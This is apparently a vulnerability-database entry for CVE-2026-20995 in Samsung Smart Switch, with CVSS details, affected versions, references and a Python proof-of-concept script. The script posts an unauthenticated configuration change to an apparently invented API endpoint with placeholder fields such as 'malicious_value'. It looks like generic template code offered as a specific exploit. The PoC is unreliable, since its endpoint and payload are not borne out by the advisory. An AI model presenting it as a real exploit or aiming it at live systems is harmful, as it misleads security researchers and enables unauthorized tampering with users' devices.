CVE-2026-20995

Description

Exposure of sensitive functionality to an unauthorized actor in Smart Switch prior to version 3.7.69.15 allows remote attackers to set a specific configuration.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:samsung:smart_switch:*:*:*:*:*:*:*:* - VULNERABLE

Samsung Smart Switch < 3.7.69.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-20995 PoC - Unauthorized Configuration Access
# Target: Samsung Smart Switch < 3.7.69.15
# Vulnerability: Exposure of sensitive functionality to unauthorized actors

import requests
import json

TARGET_URL = "https://<target>/api/v1/config/set"
PAYLOAD = {
    "action": "setConfiguration",
    "config_key": "sensitive_config_value",
    "config_value": "malicious_value"
}

def exploit_cve_2026_20995():
    """
    Exploit for CVE-2026-20995
    This PoC demonstrates the unauthorized configuration setting vulnerability
    in Samsung Smart Switch prior to version 3.7.69.15
    """
    headers = {
        'User-Agent': 'SmartSwitch/3.7.69.14',
        'Content-Type': 'application/json',
        'Accept': 'application/json'
    }
    
    try:
        response = requests.post(
            TARGET_URL,
            json=PAYLOAD,
            headers=headers,
            timeout=10
        )
        
        print(f"[*] Status Code: {response.status_code}")
        print(f"[*] Response: {response.text}")
        
        if response.status_code == 200:
            print("[+] Configuration successfully modified - Vulnerability confirmed!")
            return True
        else:
            print("[-] Request failed - Target may not be vulnerable")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    print("CVE-2026-20995 PoC - Samsung Smart Switch Unauthorized Config Access")
    print("=" * 70)
    exploit_cve_2026_20995()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-20995
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-20995
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-20995/
[4] VulDB https://vuldb.com/cve/CVE-2026-20995
[5] https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=03

Raw JSON Data

JSON

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